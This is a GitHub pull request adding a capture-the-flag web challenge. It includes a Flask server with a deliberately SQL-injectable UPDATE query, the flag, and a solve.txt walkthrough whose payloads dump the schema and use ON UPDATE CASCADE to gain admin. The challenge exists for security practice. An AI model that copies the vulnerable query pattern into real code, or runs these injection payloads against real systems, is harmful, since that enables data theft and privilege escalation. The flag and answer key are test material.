Skip to content
This repository has been archived by the owner on Jun 11, 2024. It is now read-only.

[web] User #1 #42

Merged
merged 4 commits into from
Jun 3, 2024
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
3 changes: 3 additions & 0 deletions user-1/.dockerignore
Original file line number Diff line number Diff line change
@@ -0,0 +1,3 @@
solve.txt
.dockerignore
.gitignore
1 change: 1 addition & 0 deletions user-1/.gitignore
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
dbs/
15 changes: 15 additions & 0 deletions user-1/Dockerfile
Original file line number Diff line number Diff line change
@@ -0,0 +1,15 @@
FROM python:3.12-slim-bookworm

RUN useradd -ms /bin/bash bcactf && chown -R bcactf:bcactf /home/bcactf

USER bcactf

WORKDIR /home/bcactf

COPY --chown=bcactf:bcactf . .

RUN pip install flask && mkdir -p /home/bcactf/dbs

EXPOSE 7272

CMD [ "python", "server.py", "7272" ]
23 changes: 23 additions & 0 deletions user-1/chall.yaml
Original file line number Diff line number Diff line change
@@ -0,0 +1,23 @@
name: User \#1
categories:
- webex
value: 150
flag:
file: ./flag.txt
description: |-
I was working on this website and wanted you to check it out.
The code is a bit of a mess, since it's only an extremely early version.
In fact, you're the very first user, with ID 1!

PLEASE NOTE: What you do should, in theory, not affect other solvers.
Please contact me if this is not the case.
hints:
- The form is vulnerable to SQL injection (it uses an UPDATE statement).
- You will always have user ID 1.
deploy:
web:
build: .
expose: 7272/tcp
authors:
- Marvin
visible: true
1 change: 1 addition & 0 deletions user-1/flag.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
bcactf{g3t_BEtA_t3StERs_f6a71451d481a8}
116 changes: 116 additions & 0 deletions user-1/server.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,116 @@
# Make a Flask server that boots up a SQLite instance for each session
from flask import Flask, render_template, request, session, redirect, url_for
import os
import datetime, threading
import sqlite3
import traceback

# Create the Flask application
app = Flask(__name__)

app.secret_key = "26115f592adbb689c20411fcd96e5d5e0b0fac079021456959dc5e9c713440a7"

reset_period = 15

next_restart = datetime.datetime.now() + datetime.timedelta(minutes=reset_period)

flag = open("flag.txt", "r").read()

sql_connections = {}

def restart():
global next_restart
next_restart = datetime.datetime.now() + datetime.timedelta(minutes=reset_period)
# Delete all files in folder dbs
for f in os.listdir("dbs"):
os.remove("dbs/" + f)
print("Clearing databases.")
for conn in sql_connections.values():
conn.close()
sql_connections.clear()
threading.Timer(reset_period * 60, restart).start()


def time_to_restart():
# format as mm:ss
return str(next_restart - datetime.datetime.now())[2:-7]

def get_conn(db):
if db not in sql_connections:
conn = sqlite3.connect("dbs/" + db + ".db")
c = conn.cursor()
c.execute("PRAGMA foreign_keys = ON")
sql_connections[db] = conn
return conn
return sql_connections[db]


def init_db(db):
role_table = "roles_" + os.urandom(8).hex()
conn = get_conn(db)
c = conn.cursor()
c.execute("PRAGMA foreign_keys = ON")
c.execute(
"CREATE TABLE IF NOT EXISTS users (id INTEGER PRIMARY KEY, name TEXT NOT NULL)"
)
c.execute(
f"CREATE TABLE IF NOT EXISTS {role_table} (id INTEGER, admin INTEGER, FOREIGN KEY(id) REFERENCES users(id) ON UPDATE CASCADE)"
)
# Add user if they don't exist
c.execute("SELECT * FROM users")
if not c.fetchone():
c.execute('INSERT INTO users (id, name) VALUES (0, "admin")')
c.execute('INSERT INTO users (id, name) VALUES (1, "temp-username")')
c.execute(f"INSERT INTO {role_table} (id, admin) VALUES (0, 1)")
c.execute(f"INSERT INTO {role_table} (id, admin) VALUES (1, 0)")
conn.commit()
return role_table


@app.route("/set-username", methods=["POST"])
def set_name():
print(request.form["username"], session["db"])
try:
conn = get_conn(session["db"])
c = conn.cursor()
c.execute(f'UPDATE users SET name="{request.form["username"]}" WHERE id=1')
conn.commit()
except Exception as e:
print(traceback.format_exc())
return redirect(f"/?error={str(e)}")
return redirect("/")


@app.route("/")
def index():
print(session.get("db"), session.get("role_table"))
if not session.get("db") or not session.get("role_table") or request.args.get("reset"):
session["db"] = os.urandom(16).hex()
session["role_table"] = init_db(session["db"])
return redirect(f"/?error={request.args.get('error')}")
# Fetch username from db

try:
conn = get_conn(session["db"])
c = conn.cursor()
c.execute("SELECT name FROM users WHERE id=1")
username = c.fetchone()[0]
c.execute(f'SELECT admin FROM {session["role_table"]} WHERE id=1')
admin = c.fetchone()[0]
except Exception as e:
print(traceback.format_exc())
return redirect(f"/?reset=1&error={str(e)}")

return render_template(
"index.html",
username=username,
admin=admin,
flag=flag,
time_to_restart=time_to_restart(),
error = request.args.get("error")
)


if __name__ == "__main__":
restart()
app.run(host="0.0.0.0", port=7272)
101 changes: 101 additions & 0 deletions user-1/solve.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1,101 @@
The username box is a SQL UPDATE query vulnerable to injection.

Using the following payload, we can see all of the SQL in the database:

" || (SELECT GROUP_CONCAT(sql) from sqlite_schema) || "

The result looks something like the following:

CREATE TABLE users (id INTEGER PRIMARY KEY, name TEXT NOT NULL),
CREATE TABLE roles_70032c33a98ae485 (id INTEGER, admin INTEGER,
FOREIGN KEY(id) REFERENCES users(id) ON UPDATE CASCADE)

(Your roles table will have a different name.)

We can also use the same trick to find the contents of the other tables.

" || (SELECT GROUP_CONCAT(id || "|" || name) from users) || "

yields

0|admin,1|<WHATEVER YOUR USERNAME IS SET TO>

so indeed, there is an admin with ID 0 and yourself with ID 1.

Checking the roles table, we find:

" || (SELECT GROUP_CONCAT(id || "|" || admin) from roles_70032c33a98ae485) || "

yields

0|1,1|0

so, as expected, the admin user has admin=1 and you do not.

This suggests that we want to somehow change "admin" on the roles table.

It seems difficult to directly modify the roles table in our injection.
What we can modify with our injection is the id column.

We can test this with something like this:

j", id=2 WHERE id=1 --

The command seems to succeed, but it results in the error:

'NoneType' object is not subscriptable

This makes sense if the server is just querying for id=1 to get your
username, since changing your id to 2 would result in None as the query
response.

So, we can assume that the server is hard-coded to check id=1, which
gives sense given the challenge title, description, etc.

We can use the FOREIGN KEY constraint to our advantage, given
the ON UPDATE CASCADE keyword.

If we update the id of User #0 (which has admin set to 1) to 1, we will
probably succeed. We also have to change the id of user #1 since it is
a primary key, though.

Doing this in one command is (as far as I've tried) impossible, since
SQL will update User #0 first and then User #1 (causing a UNIQUE
constraint error).

However, we can do it in two steps, like this:

", id=2 WHERE id=0 --

Now, the IDs are 1 and 2, with ID 2 having admin=1 (which you can
verify using the roles table).

Since 1 < 2 this time, we can enter

", id=id-1 --

which brings the IDs down to 0 and 1. This yields the flag.

To recap, what we've done to the roles table is:

(Start)
id | admin
0 | 1
1 | 0

(after setting id=2 where id=0)
id | admin
1 | 0
2 | 1

(after setting id=id-1)
id | admin
0 | 0
1 | 1

Now, the query SELECT admin FROM roles WHERE id=1 returns 1, and we have
successfully convinced the server that we are an admin.


(BTW I think making the roles table name vary was completely useless,
but I was too lazy to remove that part of the code, sorry)
44 changes: 44 additions & 0 deletions user-1/templates/index.html
Original file line number Diff line number Diff line change
@@ -0,0 +1,44 @@
<!DOCTYPE html>
<html lang="en">

<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>User #1</title>
</head>

<body>

<h1>Hi!!</h1>

{% if admin == 1 %}
<h1>You are User #1 (because of course User ID 0 is reserved for me, the admin... wait you're also an admin?? That's
weird.) {{ flag }}</h1>
{% else %}
<h1>You are User #1 (because of course User ID 0 is reserved for me, the admin!)</h1>
{% endif %}

<h2>Your username is {{ username }}. Care to change it?</h2>

<form action="/set-username" method="POST">
<input type="text" name="username" placeholder="Enter your username" required>
<button type="submit">Set Username</button>
</form>



<h2>Note: This challenge will reset periodically for maintenance (for which you may get 500 errors - just reload).
This is not related to the challenge's solution.
</h2>
<h3>Next restart in: {{ time_to_restart }}</h3>

{% if error %}
<h3>My code is bad, so you received an error (and your session might have reset):</h3>
<h3> {{ error }} {% if "database is locked" in error %} (This means you probably want to <a
href="/?reset=1">reset</a>.) {% endif %}</h3>

<h3> (It is normal to see "no such table: users" on your first load of this page.) </h3>
{% endif %}
</body>

</html>